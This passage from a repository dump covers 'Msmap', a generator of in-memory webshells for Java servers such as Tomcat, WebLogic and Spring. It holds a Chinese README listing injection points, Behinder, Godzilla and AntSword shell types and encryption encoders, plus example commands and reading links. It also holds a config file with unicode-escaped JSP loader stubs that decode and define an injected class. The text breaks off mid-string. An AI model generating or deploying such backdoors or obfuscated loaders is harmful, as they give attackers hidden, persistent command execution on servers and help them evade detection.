[ysomap](https://github.com/wh1t3p1g/ysomap)\n\n<details>\n<summary>Extended Reading</summary>\n\n[利用“进程注入”实现无文件复活 WebShell](https://www.freebuf.com/articles/web/172753.html)\n\n[基于内存 Webshell 的无文件攻击技术研究](https://landgrey.me/blog/12/)\n\n[利用 intercetor 注入 spring 内存 webshell](https://landgrey.me/blog/19/)\n\n[linux下java反序列化通杀回显方法的低配版实现](https://xz.aliyun.com/t/7307)\n\n[Tomcat中一种半通用回显方法](https://xz.aliyun.com/t/7348)\n\n[基于tomcat的内存 Webshell 无文件攻击技术](https://xz.aliyun.com/t/7388)\n\n[基于全局储存的新思路 | Tomcat的一种通用回显方法研究](https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&amp;mid=2651374294&amp;idx=3&amp;sn=82d050ca7268bdb7bcf7ff7ff293d7b3)\n\n[tomcat不出网回显连续剧第六集](https://xz.aliyun.com/t/7535)\n\n[中间件内存马注入&冰蝎连接](https://paper.seebug.org/1441/#2mbeancontext)\n\n[Java内存马：一种Tomcat全版本获取StandardContext的新方法](https://xz.aliyun.com/t/9914)\n\n[Java内存攻击技术漫谈](https://xz.aliyun.com/t/10075)\n\n[Linux下内存马进阶植入技术](https://xz.aliyun.com/t/10186)\n\n[Spring cloud gateway通过SPEL注入内存马](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/)\n\n[CVE-2022-22947 注入哥斯拉内存马](https://blog.wanghw.cn/tech-share/cve-2022-22947-inject-godzilla-memshell.html)\n\n[Linux下无文件Java agent探究](https://tttang.com/archive/1525/)\n\n[论如何优雅的注入Java Agent内存马](https://xz.aliyun.com/t/11640)\n\n</details>"
  },
  {
    "path": "README_CN.md",
    "content": "# MSMAP\n\nMsmap是一个内存马生成器，兼容多种容器、组件、编码器、*WebShell / Proxy / Killer* 和管理客户端。[English](README.md)\n\n[背后的想法（一）](https://hosch3n.github.io/2022/08/08/Msmap%E5%86%85%E5%AD%98%E9%A9%AC%E7%94%9F%E6%88%90%E6%A1%86%E6%9E%B6%EF%BC%88%E4%B8%80%EF%BC%89/)，[背后的想法（二）](https://hosch3n.github.io/2022/08/09/Msmap%E5%86%85%E5%AD%98%E9%A9%AC%E7%94%9F%E6%88%90%E6%A1%86%E6%9E%B6%EF%BC%88%E4%BA%8C%EF%BC%89/), [背后的想法（三）](https://hosch3n.github.io/2022/10/29/Msmap%E5%86%85%E5%AD%98%E9%A9%AC%E7%94%9F%E6%88%90%E6%A1%86%E6%9E%B6%EF%BC%88%E4%B8%89%EF%BC%89/)\n\n![](img/a.png)\n\n![](img/b.png)\n\n![](img/c.png)\n\n<details>\n<summary>功能 [WIP]</summary>\n\n### Function\n\n- [x] 动态菜单\n- [x] 自动编译\n- [x] 生成脚本\n- [ ] 精简模式\n- [ ] 图形界面\n\n### Container\n\n- Java\n  - [x] Tomcat7\n  - [x] Tomcat8\n  - [x] Tomcat9\n  - [x] Tomcat10\n  - [x] Resin3\n  - [x] Resin4\n  - [ ] WebSphere\n  - [ ] GlassFish\n  - [x] WebLogic\n  - [ ] JBoss\n  - [x] Spring*\n  - [ ] Jetty\n  - [ ] Netty\n  - [x] JVM*\n- .NET\n  - [ ] IIS\n- PHP\n- Python\n\n*：SpringHandler仅支持JDK8+\n\n*：JVM默认支持`Linux Tomcat 8/9`，可以根据进阶指南适配更多版本\n\n### WebShell / Proxy / Killer\n\n- WebShell\n  - [x] CMD / SH\n  - [x] AntSword\n  - [x] JSPJS\n  - [x] Behinder\n  - [x] Godzilla\n\n- *没有模块化的必要*\n\n~~Proxy: Neo-reGeorg, wsproxy~~\n\n~~Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner~~\n\n### Decoder / Decryptor / Hasher\n\n- Decoder\n  - [x] Base64\n  - [ ] Hex\n- Decryptor\n  - [x] XOR\n  - [x] RC4\n  - [x] AES128\n  - [x] AES256\n  - [ ] RSA\n- Hasher\n  - [x] MD5\n  - [x] SHA128\n  - [x] SHA256\n\n</details>\n\n## 用法\n\n``` bash\ngit clone git@github.com:hosch3n/msmap.git\ncd msmap\npython generator.py\n```\n\n> [注意] 尽量用独一无二的密码；各选项大小敏感\n\n### 进阶\n\n编辑 `config/environment.py`\n\n``` python\n# 自动编译\nauto_build = True\n\n# Base64编码类字节码\nb64_class = True\n\n# 生成脚本\ngenerate_script = True\n\n# 编译器绝对路径\njava_compiler_path = r\"~/jdk1.6.0_04/bin/javac\"\ndotnet_compiler_path = r\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe\"\n```\n\n编辑 `gist/java/container/tomcat/servlet.py`\n\n``` java\n// Servlet路径匹配规则\nprivate static String pattern = \"*.xml\";\n```\n\n如果WsFilter使用了加密编码器，密码需要与路径相同（如`/passwd`）\n\n可以根据目标容器替换 `gist/java/container/jdk/javax.py` 与 `lib/servlet-api.jar`\n\n`pip3 install pyperclip` 可启用自动复制到系统剪切板\n\n## 示例\n\n<details>\n<summary>CMD / SH</summary>\n\n系统**命令** 搭配 **Base64** 编码器 | 注入到 Tomcat Valve\n\n`python generator.py Java Tomcat Valve Base64 CMD passwd`\n\n</details>\n\n<details>\n<summary>蚁剑</summary>\n\n**JSP**类型 搭配 **default** 编码器 | 注入到 Tomcat Valve\n\n`python generator.py Java Tomcat Valve RAW AntSword passwd`\n\n**JSP**类型 搭配 **[aes_128_ecb_pkcs7_padding_md5](extend/AntSword/encoder/aes_128_ecb_pkcs7_padding_md5.js)** 编码器 | 注入到 Tomcat Listener\n\n`python generator.py Java Tomcat Listener AES128 AntSword passwd`\n\n**JSP**类型 搭配 **[rc_4_sha256](extend/AntSword/encoder/rc_4_sha256.js)** 编码器 | 注入到 Tomcat Servlet\n\n`python generator.py Java Tomcat Servlet RC4 AntSword passwd`\n\n**JSP**类型 搭配 **[xor_md5](extend/AntSword/encoder/xor_md5.js)** 编码器 | AgentFiless注入到 HttpServlet\n\n`python generator.py Java JDK JavaX XOR AntSword passwd`\n\n**JSPJS**类型 搭配 **[aes_128_ecb_pkcs7_padding_md5](extend/AntSword/encoder/aes_128_ecb_pkcs7_padding_md5.js)** 编码器 | 注入到 Tomcat WsFilter\n\n`python generator.py Java Tomcat WsFilter AES128 JSPJS passwd`\n\n**JSPJS**类型 搭配 **[xor_md5](extend/AntSword/encoder/xor_md5.js)** 编码器 | 注入到 Spring Handler\n\n`python generator.py Java Spring Handler XOR JSPJS passwd`\n\n</details>\n\n<details>\n<summary>冰蝎</summary>\n\n**default_aes**类型 | 注入到 Tomcat Valve\n\n`python generator.py Java Tomcat Valve AES128 Behinder rebeyond`\n\n**default_xor_base64**类型 | 注入到 Spring Interceptor\n\n`python generator.py Java Spring Interceptor XOR Behinder rebeyond`\n\n</details>\n\n<details>\n<summary>哥斯拉</summary>\n\n**JAVA_AES_BASE64**类型 | 注入到 Tomcat Valve\n\n`python generator.py Java Tomcat Valve AES128 Godzilla superidol`\n\n**JAVA_AES_BASE64**类型 | AgentFiless注入到 HttpServlet\n\n`python generator.py Java JDK JavaX AES128 Godzilla superidol`\n\n**JAVA_AES_BASE64**类型 | 注入到 Spring Handler\n\n`python generator.py Java Spring Handler AES128 Godzilla superidol`\n\n> [已知问题](https://github.com/BeichenDream/Godzilla/issues/76)\n\n</details>\n\n## 参考链接\n\n[GodzillaMemoryShellProject](https://github.com/BeichenDream/GodzillaMemoryShellProject)\n\n[AntSword-JSP-Template](https://github.com/AntSwordProject/AntSword-JSP-Template)\n\n[As-Exploits memshell_manage](https://github.com/yzddmr6/As-Exploits/tree/master/core/memshell_manage)\n\n[Behinder](https://github.com/rebeyond/Behinder) | [wsMemShell](https://github.com/veo/wsMemShell) | [ysomap](https://github.com/wh1t3p1g/ysomap)\n\n<details>\n<summary>扩展阅读</summary>\n\n[利用“进程注入”实现无文件复活 WebShell](https://www.freebuf.com/articles/web/172753.html)\n\n[基于内存 Webshell 的无文件攻击技术研究](https://landgrey.me/blog/12/)\n\n[利用 intercetor 注入 spring 内存 webshell](https://landgrey.me/blog/19/)\n\n[linux下java反序列化通杀回显方法的低配版实现](https://xz.aliyun.com/t/7307)\n\n[Tomcat中一种半通用回显方法](https://xz.aliyun.com/t/7348)\n\n[基于tomcat的内存 Webshell 无文件攻击技术](https://xz.aliyun.com/t/7388)\n\n[基于全局储存的新思路 | Tomcat的一种通用回显方法研究](https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&amp;mid=2651374294&amp;idx=3&amp;sn=82d050ca7268bdb7bcf7ff7ff293d7b3)\n\n[tomcat不出网回显连续剧第六集](https://xz.aliyun.com/t/7535)\n\n[中间件内存马注入&冰蝎连接](https://paper.seebug.org/1441/#2mbeancontext)\n\n[Java内存马：一种Tomcat全版本获取StandardContext的新方法](https://xz.aliyun.com/t/9914)\n\n[Java内存攻击技术漫谈](https://xz.aliyun.com/t/10075)\n\n[Linux下内存马进阶植入技术](https://xz.aliyun.com/t/10186)\n\n[Spring cloud gateway通过SPEL注入内存马](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/)\n\n[CVE-2022-22947 注入哥斯拉内存马](https://blog.wanghw.cn/tech-share/cve-2022-22947-inject-godzilla-memshell.html)\n\n[Linux下无文件Java agent探究](https://tttang.com/archive/1525/)\n\n[论如何优雅的注入Java Agent内存马](https://xz.aliyun.com/t/11640)\n\n</details>"
  },
  {
    "path": "config/dependency.py",
    "content": "MENU = {\n    \"Java\": {\n        \"Tomcat\": {\n            # \"Executor\": {},\n            \"Valve\": {\n                \"RAW\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"Base64\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"XOR\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Behinder\": {\"PassWord\": {}},\n                },\n                \"AES128\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Behinder\": {\"PassWord\": {}},\n                    \"Godzilla\": {\"PassWord\": {}},\n                },\n                \"RC4\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n            },\n            \"Listener\": {\n                \"RAW\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"Base64\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"XOR\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Behinder\": {\"PassWord\": {}},\n                },\n                \"AES128\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Behinder\": {\"PassWord\": {}},\n                    \"Godzilla\": {\"PassWord\": {}},\n                },\n                \"RC4\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n            },\n            # \"Filter\": {},\n            \"WsFilter\": {\n                \"RAW\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"Base64\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"XOR\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"AES128\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"RC4\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n            },\n            \"Servlet\": {\n                \"RAW\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"Base64\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"XOR\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Behinder\": {\"PassWord\": {}},\n                },\n                \"AES128\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Behinder\": {\"PassWord\": {}},\n                    \"Godzilla\": {\"PassWord\": {}},\n                },\n                \"RC4\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n            },\n        },\n        \"Resin\": {\n            \"Listener\": {\n                \"RAW\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"Base64\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"XOR\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Behinder\": {\"PassWord\": {}},\n                },\n                \"AES128\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Behinder\": {\"PassWord\": {}},\n                    \"Godzilla\": {\"PassWord\": {}},\n                },\n                \"RC4\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n            },\n        },\n        \"Weblogic\": {\n            \"Listener\": {\n                \"RAW\": {\n                    \"CMD\": {\"PassWord\": {}},\n                },\n                \"Base64\": {\n                    \"CMD\": {\"PassWord\": {}},\n                },\n                \"XOR\": {\n                    \"CMD\": {\"PassWord\": {}},\n                },\n                \"AES128\": {\n                    \"CMD\": {\"PassWord\": {}},\n                },\n                \"RC4\": {\n                    \"CMD\": {\"PassWord\": {}},\n                },\n            },\n        },\n        \"Spring\": {\n            \"Interceptor\": {\n                \"RAW\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"Base64\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"XOR\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Behinder\": {\"PassWord\": {}},\n                },\n                \"AES128\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Behinder\": {\"PassWord\": {}},\n                    \"Godzilla\": {\"PassWord\": {}},\n                },\n                \"RC4\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n            },\n            \"Handler\": {\n                \"RAW\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"Base64\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"XOR\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"AES128\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Godzilla\": {\"PassWord\": {}},\n                },\n                \"RC4\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n            },\n        },\n        \"JDK\": {\n            \"JavaX\": {\n                \"RAW\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"Base64\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"XOR\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n                \"AES128\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                    \"Godzilla\": {\"PassWord\": {}},\n                },\n                \"RC4\": {\n                    \"CMD\": {\"PassWord\": {}},\n                    \"AntSword\": {\"PassWord\": {}},\n                    \"JSPJS\": {\"PassWord\": {}},\n                },\n            },\n        },\n    }\n}\n\nARCH = {\n    1: \"language\",\n    2: \"container\",\n    3: \"model\",\n    4: \"decoder\",\n    5: \"stub\",\n    6: \"password\",\n    7: \"key\",\n}\n\nJAVA_LIB_PATH = r'\"lib/*\"'\n\nJSP_PREFIX = r\"\"\"<%!\\u0063\\u006c\\u0061\\u0073\\u0073\\u0020\\u0055\\u0020\\u0065\\u0078\\u0074\\u0065\\u006e\\u0064\\u0073\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u004c\\u006f\\u0061\\u0064\\u0065\\u0072\\u0020\\u007b\\u0055\\u0028\\u0043\\u006c\\u0061\\u0073\\u0073\\u004c\\u006f\\u0061\\u0064\\u0065\\u0072\\u0020\\u0063\\u0029\\u0020\\u007b\\u0073\\u0075\\u0070\\u0065\\u0072\\u0028\\u0063\\u0029\\u003b\\u007d\\u0070\\u0075\\u0062\\u006c\\u0069\\u0063\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u0020\\u0067\\u0028\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0020\\u0062\\u0029\\u0020\\u007b\\u0072\\u0065\\u0074\\u0075\\u0072\\u006e\\u0020\\u0073\\u0075\\u0070\\u0065\\u0072\\u002e\\u0064\\u0065\\u0066\\u0069\\u006e\\u0065\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0062\\u002c\\u0020\\u0030\\u002c\\u0020\\u0062\\u002e\\u006c\\u0065\\u006e\\u0067\\u0074\\u0068\\u0029\\u003b\\u007d\\u007d\\u0070\\u0075\\u0062\\u006c\\u0069\\u0063\\u0020\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0020\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u0044\\u0065\\u0063\\u006f\\u0064\\u0065\\u0028\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0020\\u0073\\u0074\\u0072\\u0029\\u0020\\u0074\\u0068\\u0072\\u006f\\u0077\\u0073\\u0020\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u007b\\u0043\\u006c\\u0061\\u0073\\u0073\\u0020\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u003b\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0020\\u0076\\u0061\\u006c\\u0075\\u0065\\u0020\\u003d\\u0020\\u006e\\u0075\\u006c\\u006c\\u003b\\u0074\\u0072\\u0079\\u0020\\u007b\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u003d\\u0043\\u006c\\u0061\\u0073\\u0073\\u002e\\u0066\\u006f\\u0072\\u004e\\u0061\\u006d\\u0065\\u0028\\u0022\\u0073\\u0075\\u006e\\u002e\\u006d\\u0069\\u0073\\u0063\\u002e\\u0042\\u0041\\u0053\\u0045\\u0036\\u0034\\u0044\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u0022\\u0029\\u003b\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u0020\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u0020\\u003d\\u0020\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u002e\\u006e\\u0065\\u0077\\u0049\\u006e\\u0073\\u0074\\u0061\\u006e\\u0063\\u0065\\u0028\\u0029\\u003b\\u0076\\u0061\\u006c\\u0075\\u0065\\u0020\\u003d\\u0020\\u0028\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0029\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0042\\u0075\\u0066\\u0066\\u0065\\u0072\\u0022\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u005b\\u005d\\u0020\\u007b\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u002e\\u0063\\u006c\\u0061\\u0073\\u0073\\u007d\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u005b\\u005d\\u0020\\u007b\\u0073\\u0074\\u0072\\u007d\\u0029\\u003b\\u007d\\u0020\\u0063\\u0061\\u0074\\u0063\\u0068\\u0020\\u0028\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u0065\\u0029\\u0020\\u007b\\u0074\\u0072\\u0079\\u0020\\u007b\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u003d\\u0043\\u006c\\u0061\\u0073\\u0073\\u002e\\u0066\\u006f\\u0072\\u004e\\u0061\\u006d\\u0065\\u0028\\u0022\\u006a\\u0061\\u0076\\u0061\\u002e\\u0075\\u0074\\u0069\\u006c\\u002e\\u0042\\u0061\\u0073\\u0065\\u0036\\u0034\\u0022\\u0029\\u003b\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u0020\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u0020\\u003d\\u0020\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u002e\\u0067\\u0065\\u0074\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u0022\\u002c\\u0020\\u006e\\u0075\\u006c\\u006c\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u002c\\u0020\\u006e\\u0075\\u006c\\u006c\\u0029\\u003b\\u0076\\u0061\\u006c\\u0075\\u0065\\u0020\\u003d\\u0020\\u0028\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0029\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0022\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u005b\\u005d\\u0020\\u007b\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u002e\\u0063\\u006c\\u0061\\u0073\\u0073\\u007d\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u005b\\u005d\\u0020\\u007b\\u0073\\u0074\\u0072\\u007d\\u0029\\u003b\\u007d\\u0020\\u0063\\u0061\\u0074\\u0063\\u0068\\u0020\\u0028\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u0065\\u0065\\u0029\\u0020\\u007b\\u007d\\u007d\\u0072\\u0065\\u0074\\u0075\\u0072\\u006e\\u0020\\u0076\\u0061\\u006c\\u0075\\u0065\\u003b\\u007d%><%\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0020\\u0063\\u006c\\u0073\\u0020\\u003d\\u0020\\u0022\"\"\"\nJSP_POSTFIX = r\"\"\"\\u0022\\u003b\\u0069\\u0066\\u0020\\u0028\\u0063\\u006c\\u0073\\u0020\\u0021\\u003d\\u0020\\u006e\\u0075\\u006c\\u006c\\u0029\\u0020\\u007b\\u006e\\u0065\\u0077\\u0020\\u0055\\u0028\\u0074\\u0068\\u0069\\u0073\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u004c\\u006f\\u0061\\u0064\\u0065\\u0072\\u0028\\u0029\\u0029\\u002e\\u0067\\u0028\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u0044\\u0065\\u0063\\u006f\\u0064\\u0065\\u0028\\u0063\\u006c\\u0073\\u0029\\u0029\\u002e\\u006e\\u0065\\u0077\\u0049\\u006e\\u0073\\u0074\\u0061\\u006e\\u0063\\u0065\\u0028\\u0029\\u003b\\u007d%>\"\"\"\n\nJSPX_PREFIX = r\"\"\"<jsp:root xmlns:jsp=\"http://java.sun.com/JSP/Page\" version=\"1.2\"><jsp:declaration>\\u0063\\u006c\\u0061\\u0073\\u0073\\u0020\\u0055\\u0020\\u0065\\u0078\\u0074\\u0065\\u006e\\u0064\\u0073\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u004c\\u006f\\u0061\\u0064\\u0065\\u0072\\u0020\\u007b\\u0055\\u0028\\u0043\\u006c\\u0061\\u0073\\u0073\\u004c\\u006f\\u0061\\u0064\\u0065\\u0072\\u0020\\u0063\\u0029\\u0020\\u007b\\u0073\\u0075\\u0070\\u0065\\u0072\\u0028\\u0063\\u0029\\u003b\\u007d\\u0070\\u0075\\u0062\\u006c\\u0069\\u0063\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u0020\\u0067\\u0028\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0020\\u0062\\u0029\\u0020\\u007b\\u0072\\u0065\\u0074\\u0075\\u0072\\u006e\\u0020\\u0073\\u0075\\u0070\\u0065\\u0072\\u002e\\u0064\\u0065\\u0066\\u0069\\u006e\\u0065\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0062\\u002c\\u0020\\u0030\\u002c\\u0020\\u0062\\u002e\\u006c\\u0065\\u006e\\u0067\\u0074\\u0068\\u0029\\u003b\\u007d\\u007d\\u0070\\u0075\\u0062\\u006c\\u0069\\u0063\\u0020\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0020\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u0044\\u0065\\u0063\\u006f\\u0064\\u0065\\u0028\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0020\\u0073\\u0074\\u0072\\u0029\\u0020\\u0074\\u0068\\u0072\\u006f\\u0077\\u0073\\u0020\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u007b\\u0043\\u006c\\u0061\\u0073\\u0073\\u0020\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u003b\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0020\\u0076\\u0061\\u006c\\u0075\\u0065\\u0020\\u003d\\u0020\\u006e\\u0075\\u006c\\u006c\\u003b\\u0074\\u0072\\u0079\\u0020\\u007b\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u003d\\u0043\\u006c\\u0061\\u0073\\u0073\\u002e\\u0066\\u006f\\u0072\\u004e\\u0061\\u006d\\u0065\\u0028\\u0022\\u0073\\u0075\\u006e\\u002e\\u006d\\u0069\\u0073\\u0063\\u002e\\u0042\\u0041\\u0053\\u0045\\u0036\\u0034\\u0044\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u0022\\u0029\\u003b\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u0020\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u0020\\u003d\\u0020\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u002e\\u006e\\u0065\\u0077\\u0049\\u006e\\u0073\\u0074\\u0061\\u006e\\u0063\\u0065\\u0028\\u0029\\u003b\\u0076\\u0061\\u006c\\u0075\\u0065\\u0020\\u003d\\u0020\\u0028\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0029\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u002e\\u0067\